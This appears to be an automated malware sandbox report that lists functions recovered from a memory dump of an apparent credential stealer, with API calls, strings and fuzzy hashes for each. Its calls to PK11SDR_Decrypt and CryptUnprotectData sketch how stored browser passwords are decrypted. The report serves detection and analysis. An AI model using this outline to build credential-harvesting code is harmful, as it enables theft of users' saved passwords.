Function 0040EE20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040EE3E
FindFirstFileA.KERNEL32(?,?), ref: 0040EE55
StrCmpCA.SHLWAPI(?,00421630), ref: 0040EEAB
StrCmpCA.SHLWAPI(?,00421634), ref: 0040EEC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0040F3AE
FindClose.KERNEL32(000000FF), ref: 0040F3C3

Strings

%s\*.*, xrefs: 0040EE32

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 44e4519d460c571b6f7c13e0b12cc26d697540730552fd87f4480f32e4084b77
Instruction ID: d58f243a0e81953373eaf00141ed8e3e8bc28467f540fc5aad09a1a01b74b281
Opcode Fuzzy Hash: 44e4519d460c571b6f7c13e0b12cc26d697540730552fd87f4480f32e4084b77
Instruction Fuzzy Hash: 79E16371A121189ADB14FB61DC62EEE7339AF50314F4045EEB10A62092EF386BD9CF59

Function 0040C920 Relevance: 16.6, APIs: 11, Instructions: 93stringencryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040C953
lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,02F6EF18), ref: 0040C971
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C97C
PK11_GetInternalKeySlot.NSS3 ref: 0040C98A
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0040C9A5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0040C9EB
memcpy.MSVCRT(?,?,?), ref: 0040CA12
lstrcatA.KERNEL32(?,00420B47), ref: 0040CA43
lstrcatA.KERNEL32(?,00420B4B), ref: 0040CA57
PK11_FreeSlot.NSS3(?), ref: 0040CA61
lstrcatA.KERNEL32(?,00420B4E), ref: 0040CA78

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlenmemcpymemset
String ID:
API String ID: 3428224297-0
Opcode ID: b72dd9bfbf458160f1e602edd60bafd9c1ab3fe4aebb36f7fc77a597216b37cf
Instruction ID: ab8a272bb0ac48908ccb48df32c4a676bf2e37b68a454f4a62162a4422f92537
Opcode Fuzzy Hash: b72dd9bfbf458160f1e602edd60bafd9c1ab3fe4aebb36f7fc77a597216b37cf
Instruction Fuzzy Hash: FD4130B4E0421DDBDB10CFA4DD89BEEB7B9BB48304F1042AAF509A62C0D7745A84CF95

Function 6C781CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6C781F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6C782166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C78228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C7823B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C78241C

Strings

manufacturer, xrefs: 6C782179
token, xrefs: 6C781F2C
model, xrefs: 6C7823CB, 6C7823EC
serial, xrefs: 6C7822A2

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: cafb5190c061be96ae1abd834674f8da99ce5bcbf374b2826450468c3e651b30
Instruction ID: 0da7084f0ce26d60ad9447100194500af7075d9e692549fb9f90880d10d5f282
Opcode Fuzzy Hash: cafb5190c061be96ae1abd834674f8da99ce5bcbf374b2826450468c3e651b30
Instruction Fuzzy Hash: 55023162D0E7C86EF7328271C54C3D76AE09B45329F5D167EC7EE46A83C3A859888351

Function 0040DF10 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00420C32), ref: 0040DF5E
StrCmpCA.SHLWAPI(?,004215C0), ref: 0040DFAE
StrCmpCA.SHLWAPI(?,004215C4), ref: 0040DFC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0040E4E0
FindClose.KERNEL32(000000FF), ref: 0040E4F2

Strings

\*.*, xrefs: 0040DF26
4@, xrefs: 0040DF32, 0040E500, 0040DFF3, 0040DF75, 0040DFF6

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: 4@$\*.*
API String ID: 2325840235-1993203227
Opcode ID: 3cdc3bc1ca4623dd4ab3a98770b64da100480c73e045b6562c069503d68560b6
Instruction ID: 5b1d21d8256b1a4f75019a03d5e94b0e3f490a8b44af3c5bb40891ece502d815
Opcode Fuzzy Hash: 3cdc3bc1ca4623dd4ab3a98770b64da100480c73e045b6562c069503d68560b6
Instruction Fuzzy Hash: F6F14D71A151189ACB25EB61DCA5EEE7339AF14314F4005EFB10A62091EF387BD8CF5A

Function 6C786C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C731C6F,00000000,00000004,?,?), ref: 6C786C3F

Part of subcall function 6C7DC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7DC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C731C6F,00000000,00000004,?,?), ref: 6C786C60
PR_ExplodeTime.NSS3(00000000,6C731C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C731C6F,00000000,00000004,?,?), ref: 6C786C94

Strings

gfff, xrefs: 6C786CF5
gfff, xrefs: 6C786D30
gfff, xrefs: 6C786CFD
gfff, xrefs: 6C786D66
gfff, xrefs: 6C786D9C

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 9c6c1e7351e380c4e47597a5cae02df38449d17e868c9fd5b9b60361331512d6
Instruction ID: 87fb89393fc140c4acb92f024c17d42c30ec1db6caf16bd82bdf3ab45051482d
Opcode Fuzzy Hash: 9c6c1e7351e380c4e47597a5cae02df38449d17e868c9fd5b9b60361331512d6
Instruction Fuzzy Hash: 80516C72B116494FC70CCDADDC527DAB7DAABA4310F48C23AE442DB785D638E906C751

Function 6C79BD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C79BD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C79BD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C79BD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C79BD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6C79BDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6C79BDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6C79BDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6C79BE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6C79BE1E

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 30cde7a1a655aff48735312cd816a19ec5781f19f6e5734cfb71cf37434d9c73
Instruction ID: 8848a61e625d3c47354a73f2ade896f4a9040c8fd029b4f4a6617545c1b4a583
Opcode Fuzzy Hash: 30cde7a1a655aff48735312cd816a19ec5781f19f6e5734cfb71cf37434d9c73
Instruction Fuzzy Hash: 1B21F57AE1068957FB204756BE4BF8B367C9B91B5DF080034F916EE641E310B418C2A6

Function 6C848D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C8914E4,6C7FCC70), ref: 6C848D47
PR_GetCurrentThread.NSS3 ref: 6C848D98

Part of subcall function 6C720F00: PR_GetPageSize.NSS3(6C720936,FFFFE8AE,?,6C6B16B7,00000000,?,6C720936,00000000,?,6C6B204A), ref: 6C720F1B
Part of subcall function 6C720F00: PR_NewLogModule.NSS3(clock,6C720936,FFFFE8AE,?,6C6B16B7,00000000,?,6C720936,00000000,?,6C6B204A), ref: 6C720F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C848E7B
htons.WSOCK32(?), ref: 6C848EDB
PR_GetCurrentThread.NSS3 ref: 6C848F99
PR_GetCurrentThread.NSS3 ref: 6C84910A

Strings

%u.%u.%u.%u, xrefs: 6C848E74

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: d28030853fe30f616e5c01793d1a88025d29658c6bad096288ba67cf1f746c04
Instruction ID: 035a77bc3ddaa72ddba77e9a5f4cc9e90ad51501206c844b4008484ec1eeed15
Opcode Fuzzy Hash: d28030853fe30f616e5c01793d1a88025d29658c6bad096288ba67cf1f746c04
Instruction Fuzzy Hash: BD02DA31905259CFCB34CF19C6A8766BBA6EF42308F19CA9AC8919BB91D339D905C3D0

Function 6C7E9C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6C6BC52B), ref: 6C7E9D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C7EA035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C7EA114

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C7EA01F, 6C7EA0E4, 6C7EA0FE
%s at line %d of [%.10s], xrefs: 6C7EA02E, 6C7EA10D
database corruption, xrefs: 6C7EA029, 6C7EA108

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: b7a09ab5ce36848f118fdbdd62571b79fd0cabaa784c9cbefc5ae9bd4a94ae02
Instruction ID: 915a227651dcf1c681bd5c806273ee0cf7f211da5c2292f9c9b151ea6622963e
Opcode Fuzzy Hash: b7a09ab5ce36848f118fdbdd62571b79fd0cabaa784c9cbefc5ae9bd4a94ae02
Instruction Fuzzy Hash: E622BD726083418FC704CF29C69066ABBF1BFDA358F148A2DE9DA97A51D731D845CB42

Function 0041B63A Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041BEA2
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041BEB7
UnhandledExceptionFilter.KERNEL32(eM), ref: 0041BEC2
GetCurrentProcess.KERNEL32(C0000409), ref: 0041BEDE
TerminateProcess.KERNEL32(00000000), ref: 0041BEE5

Strings

eM, xrefs: 0041BEBD

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID: eM
API String ID: 2579439406-4107679315
Opcode ID: 193660ad69945e5d4e8f2537fb9143e859482eb6e3c007ea4e683d192d75b70a
Instruction ID: e0cf9fd370cfefa4586a3e07c7ad2671862445e1fb84a52232205764a1bb9e34
Opcode Fuzzy Hash: 193660ad69945e5d4e8f2537fb9143e859482eb6e3c007ea4e683d192d75b70a
Instruction Fuzzy Hash: FC21CCB8902214DFC710DF69FC85A883BB4FB18314F12807BE90887262E7B499818F5D

Function 6C809D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6C6C8637,?,?), ref: 6C809E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6C6C8637), ref: 6C809ED6

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C809EC0
%s at line %d of [%.10s], xrefs: 6C809ECF
database corruption, xrefs: 6C809ECA

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 1da1890f48afb21215f4ecaa49146331f3ce8c84d9fc328d1ccb0b2e417cb6a8
Instruction ID: 8dfece0a7988e6f64ce7445719fb6987f4fee70b10c25f16f66407949798bf6a
Opcode Fuzzy Hash: 1da1890f48afb21215f4ecaa49146331f3ce8c84d9fc328d1ccb0b2e417cb6a8
Instruction Fuzzy Hash: 9A818031B012198FCB24CF69CE84ADEB3B6EF89304F158969E915AB741E770ED45CB90

Function 0040A210 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 0040A23F
LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 0040A251
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 0040A27A
LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 0040A28F

Strings

>O@, xrefs: 0040A224, 0040A231, 0040A249, 0040A268, 0040A234, 0040A26B

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: >O@
API String ID: 4291131564-3498640338
Opcode ID: edccb5067cb49db7a5de6f654d3a134b15aae92a07ed0db144d4c911c0eb6ceb
Instruction ID: de78b312e53d8eb1032a325daaba17a5ad67a9fc4c37dbc2dcfee383a82f1a49
Opcode Fuzzy Hash: edccb5067cb49db7a5de6f654d3a134b15aae92a07ed0db144d4c911c0eb6ceb
Instruction Fuzzy Hash: 3B11D474641308AFEB10CF64DC95FAA77B5EB88B04F208099FD159B3D0C776AA41CB50

Function 004072A0 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400,?,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0), ref: 004072AD
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?), ref: 004072B4
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 004072E1
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000,?,?,?,?,?,00407CF0,80000001,00416414), ref: 00407304
LocalFree.KERNEL32(?,?,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?), ref: 0040730E

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Heap$AllocByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 3657800372-0
Opcode ID: 71551e695a0caf509547d065f2a667422435cc09d56db0d1c7835a16714f6d9a
